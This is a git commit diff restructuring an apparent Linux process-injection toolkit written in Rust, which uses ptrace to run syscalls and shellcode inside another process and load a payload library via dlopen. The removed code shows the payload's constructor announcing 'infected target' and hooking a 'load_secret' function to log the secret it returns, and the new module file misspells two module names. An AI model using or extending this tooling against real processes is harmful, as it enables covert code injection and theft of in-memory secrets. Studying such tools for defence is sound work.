chore: cleanup for library: structure and features

This commit is contained in:
əlemi 2023-03-30 05:41:44 +02:00
parent 875c12cf43
commit 8b79c47b2f
Signed by: alemi
GPG key ID: A4895B84D311642C
14 changed files with 75 additions and 172 deletions

View file

@ -10,16 +10,20 @@ path = "src/lib.rs"
[[bin]] [[bin]]
name = "needle" name = "needle"
path = "src/needle/main.rs" path = "src/needle/main.rs"
required-features = ["bin"]
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies] [dependencies]
clap = { version = "4.1.13", features = ["derive"] }
ctor = "0.1.26"
retour = "0.1" # plain detour doesn't work on latest nightly? idk
elf = "0.7.2" elf = "0.7.2"
nix = "0.26.2" retour = "0.1" # plain detour doesn't work on latest nightly? idk
proc-maps = "0.3.0" proc-maps = "0.3.0"
libloading = "0.7.4" libloading = "0.7.4"
tracing = "0.1.37" tracing = "0.1.37"
tracing-subscriber = "0.3.16" tracing-subscriber = "0.3.16"
nix = { version = "0.26.2", optional = true }
clap = { version = "4.1.13", features = ["derive"], optional = true }
[features]
rc = ["dep:nix"]
bin = ["rc", "dep:clap"]

View file

@ -1,34 +0,0 @@
use std::ffi::c_int;
use retour::static_detour;
use tracing::info;
use crate::locators::find_symbol;
static_detour! {
static HOOK : unsafe extern "C" fn() -> c_int;
}
pub fn add_hooks() -> Result<(), Box<dyn std::error::Error>> {
if let Some(ptr) = find_symbol("load_secret")? {
unsafe {
HOOK.initialize(ptr, cb::hook)?;
HOOK.enable()?;
}
info!("installed hook on 'load_secret'");
}
Ok(())
}
mod cb {
use tracing::info;
use super::HOOK;
pub fn hook() -> i32 {
let secret = unsafe { HOOK.call() };
info!("( ͡° ͜ʖ ͡°) its {}", secret);
secret
}
}

View file

@ -1,32 +1,5 @@
pub mod locators; pub mod locators;
pub mod hooks;
pub mod tricks; pub mod tricks;
use std::{net::TcpStream, sync::Mutex}; #[cfg(feature = "rc")]
pub mod rc;
use tracing::{info, error};
use crate::hooks::add_hooks;
#[ctor::ctor] // our entrypoint is the library constructor, invoked by dlopen
fn constructor() {
std::thread::spawn(|| {
match TcpStream::connect("127.0.0.1:13337") {
Ok(stream) => tracing_subscriber::fmt()
.with_writer(Mutex::new(stream))
.init(),
Err(_) => {},
}
info!(target: "tetanus", "infected target");
if let Err(e) = add_hooks() {
error!(target: "tetanus", "could not add hooks : {}", e);
}
});
}
#[ctor::dtor]
fn destructor() {}

View file

@ -19,7 +19,7 @@ pub fn find_symbol<T : Function>(name: &str) -> Result<Option<T>, Box<dyn Error>
// try to read it from executable's elf // try to read it from executable's elf
match find_argv0() { match find_argv0() {
None => warn!("could not find argv0 for process"), None => warn!("could not find argv0 for process"),
Some(exec) => match procmaps::map_addr_path(&exec)? { Some(exec) => match procmaps::map_addr_path(std::process::id() as i32, &exec)? {
None => warn!("could not find base addr of process image"), None => warn!("could not find base addr of process image"),
Some((base, path)) => match exec::offset_in_elf(&path, &name)? { Some((base, path)) => match exec::offset_in_elf(&path, &name)? {
None => warn!("could not locate requested symbol in ELF"), None => warn!("could not locate requested symbol in ELF"),
@ -90,8 +90,8 @@ pub mod procmaps {
use crate::tricks::fmt_path; use crate::tricks::fmt_path;
pub fn map_addr_path(name: &str) -> std::io::Result<Option<(usize, PathBuf)>> { pub fn map_addr_path(pid: i32, name: &str) -> std::io::Result<Option<(usize, PathBuf)>> {
let proc_maps = get_process_maps(std::process::id() as i32)?; let proc_maps = get_process_maps(pid)?;
for map in proc_maps { for map in proc_maps {
debug!("map > 0x{:08X} {} [{:x}] - {} [{}]", map.start(), map.flags, map.offset, map.inode, fmt_path(map.filename())); debug!("map > 0x{:08X} {} [{:x}] - {} [{}]", map.start(), map.flags, map.offset, map.inode, fmt_path(map.filename()));

View file

@ -1,66 +0,0 @@
use std::{ffi::c_void, path::{Path, PathBuf}, io::{ErrorKind, Error}};
use elf::{ElfBytes, endian::AnyEndian};
use nix::{unistd::Pid, sys::{ptrace, wait::waitpid}};
use proc_maps::get_process_maps;
pub fn step_to_syscall(pid: Pid) -> nix::Result<usize> {
let mut registers;
let mut addr;
let mut instructions;
// seek to syscall
loop {
registers = ptrace::getregs(pid)?;
addr = registers.rip as usize;
instructions = ptrace::read(pid, addr as *mut c_void)?;
if instructions & 0xFFFF == 0x050F {
return Ok(addr);
}
ptrace::step(pid, None)?;
waitpid(pid, None)?;
}
}
fn _path_to_str<'a>(p: Option<&'a Path>) -> &'a str {
match p {
Some(path) => {
match path.to_str() {
Some(s) => s,
None => "?",
}
},
None => "",
}
}
pub fn find_libc(pid: Pid) -> std::io::Result<(usize, PathBuf)> {
let proc_maps = get_process_maps(pid.as_raw())?;
for map in proc_maps {
if map.is_exec() && _path_to_str(map.filename()).contains("libc.so") {
return Ok((
map.start() - map.offset,
map.filename().expect("matched empty option?").to_path_buf()
));
}
}
Err(Error::new(ErrorKind::NotFound, "no libc in target proc maps"))
}
pub fn find_dlopen(path: &Path) -> std::io::Result<usize> {
let libc = std::fs::read(path).expect("could not read libc");
let headers = ElfBytes::<AnyEndian>::minimal_parse(&libc).expect("failed parsing libc as ELF");
let common = headers.find_common_data().expect("shdrs should parse");
let dynsyms = common.dynsyms.unwrap();
let strtab = common.dynsyms_strs.unwrap();
let hash_table = common.sysv_hash.unwrap();
let (_id, dlopen) = hash_table.find(b"dlopen", &dynsyms, &strtab)
.expect("could not parse symbols hash table")
.expect("could not find dlopen symbol");
return Ok(dlopen.st_value as usize);
}

View file

@ -1,23 +1,17 @@
mod syscalls;
mod executors;
mod senders;
mod injector;
mod explorers;
mod monitor;
use std::path::PathBuf; use std::path::PathBuf;
use injector::RemoteOperation; use tracing::{metadata::LevelFilter, info, error};
use monitor::monitor_payload;
use nix::{Result, {sys::{ptrace, wait::waitpid}, unistd::Pid}}; use nix::{Result, {sys::{ptrace, wait::waitpid}, unistd::Pid}};
use clap::Parser; use clap::Parser;
use executors::RemoteShellcode; use rustyneedle::{
use senders::RemoteString; injector::RemoteOperation, executors::RemoteShellcode,
use explorers::step_to_syscall; senders::RemoteString, syscalls::RemoteExit,
use tracing::{metadata::LevelFilter, info, error}; explorers::step_to_syscall,
};
use crate::{explorers::{find_libc, find_dlopen}, syscalls::RemoteExit}; mod monitor;
#[derive(Parser, Debug)] #[derive(Parser, Debug)]
#[command(author, version, about, long_about = None)] #[command(author, version, about, long_about = None)]
@ -152,7 +146,7 @@ fn main() {
} }
if monitor { if monitor {
monitor_payload(); monitor::listen_logs();
} }
} }

View file

@ -2,7 +2,7 @@ use std::net::TcpListener;
use tracing::info; use tracing::info;
pub fn monitor_payload() { pub fn listen_logs() {
info!("listening for logs from injected payload ..."); info!("listening for logs from injected payload ...");
if let Ok(listener) = TcpListener::bind("127.0.0.1:13337") { if let Ok(listener) = TcpListener::bind("127.0.0.1:13337") {
if let Ok((mut stream, addr)) = listener.accept() { if let Ok((mut stream, addr)) = listener.accept() {

25
src/rc/explorers.rs Normal file
View file

@ -0,0 +1,25 @@
use std::{ffi::c_void, path::{Path, PathBuf}, io::{ErrorKind, Error}};
use elf::{ElfBytes, endian::AnyEndian};
use nix::{unistd::Pid, sys::{ptrace, wait::waitpid}};
use proc_maps::get_process_maps;
pub fn step_to_syscall(pid: Pid) -> nix::Result<usize> {
let mut registers;
let mut addr;
let mut instructions;
// seek to syscall
loop {
registers = ptrace::getregs(pid)?;
addr = registers.rip as usize;
instructions = ptrace::read(pid, addr as *mut c_void)?;
if instructions & 0xFFFF == 0x050F {
return Ok(addr);
}
ptrace::step(pid, None)?;
waitpid(pid, None)?;
}
}

7
src/rc/mod.rs Normal file
View file

@ -0,0 +1,7 @@
mod jnjector;
mod executors;
mod explores;
mod senders;
mod syscalls;

View file

@ -1,4 +1,4 @@
use std::{ffi::c_void, fmt::Display, mem::size_of}; use std::{ffi::c_void, mem::size_of};
use nix::{Result, unistd::Pid, sys::ptrace, libc::{PROT_READ, PROT_WRITE, MAP_PRIVATE, MAP_ANON}}; use nix::{Result, unistd::Pid, sys::ptrace, libc::{PROT_READ, PROT_WRITE, MAP_PRIVATE, MAP_ANON}};
use tracing::{debug, info}; use tracing::{debug, info};
@ -7,25 +7,6 @@ use crate::{injector::RemoteOperation, syscalls::{RemoteMMap, RemoteMUnmap}};
const WORD_SIZE : usize = size_of::<usize>(); const WORD_SIZE : usize = size_of::<usize>();
pub struct ByteVec(pub Vec<u8>);
impl From<Vec<u8>> for ByteVec {
fn from(value: Vec<u8>) -> Self {
ByteVec(value)
}
}
impl Display for ByteVec {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
write!(f, "[ ")?;
for el in self.0.iter() {
write!(f, "0x{:x} ", el)?;
}
write!(f, "]")?;
Ok(())
}
}
#[allow(unused)] #[allow(unused)]
pub fn read_buffer(pid: Pid, addr: usize, size: usize) -> Result<Vec<u8>> { pub fn read_buffer(pid: Pid, addr: usize, size: usize) -> Result<Vec<u8>> {
let mut out = vec![]; let mut out = vec![];

View file

@ -1,3 +1,22 @@
pub struct ByteVec(pub Vec<u8>);
impl From<Vec<u8>> for ByteVec {
fn from(value: Vec<u8>) -> Self {
ByteVec(value)
}
}
impl std::fmt::Display for ByteVec {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
write!(f, "[ ")?;
for el in self.0.iter() {
write!(f, "0x{:x} ", el)?;
}
write!(f, "]")?;
Ok(())
}
}
pub fn find_argv0() -> Option<String> { // could be a relative path, just get last member pub fn find_argv0() -> Option<String> { // could be a relative path, just get last member
Some(std::env::args().next()?.split("/").last()?.into()) // TODO separator for windows? Some(std::env::args().next()?.split("/").last()?.into()) // TODO separator for windows?
} }